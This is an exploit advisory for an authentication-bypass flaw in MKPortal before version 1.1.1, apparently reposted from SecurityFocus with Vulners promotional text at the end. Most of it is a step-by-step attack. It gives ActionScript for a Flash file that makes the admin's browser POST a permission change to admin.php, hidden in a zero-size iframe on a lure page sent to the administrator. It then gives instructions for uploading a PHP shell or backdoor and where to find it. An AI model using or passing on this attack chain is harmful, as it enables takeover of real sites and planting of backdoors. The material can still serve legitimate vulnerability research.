source: https://www.securityfocus.com/bid/25515/info
MKPortal is prone to an authentication-bypass vulnerability because it fails to restrict access to certain administrative functions.
Attackers can exploit this issue to gain unauthorized access to the application.
Versions prior to MKPortal 1.1.1 are vulnerable.
Start Macromedia Flash and create an swf file with this code:
var idg:Number = 9;
var p13:Number = 1;
var Salva:String = "Save+Permissions";
getURL("http://victim.com/mkportal/admin.php?ind=ad_perms&op=save_main",
"_self", "POST");
Translate "Save+Permissions" in MKPortal language.
Example: "Salva+questi+permessi" for italian sites.
Then upload the swf file to a webserver and create an html page like
this:
<html>
<head>
<title>Put a title here</title>
</head>
<body>
<p>Put some text here<p>
<iframe src="http://yoursite.com/exploit.swf" frameborder="0" height="0"
width="0"></iframe>
</body>
</html>
Now send the html page to MKPortal administrator.
When admin opens the page all guests will be able to administrate
MKPortal.
So you can go here:
http://victim.com/mkportal/admin.php?ind=ad_contents&op=contents_new_php
and paste a php shell or a backdoor.
You can find your shell here:
http://victim.com/mkportal/cache/ppage_*.php
where * is the ID of the page.
Translate "page" in MKPortal language.
Example: "pagina" for italian sites.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation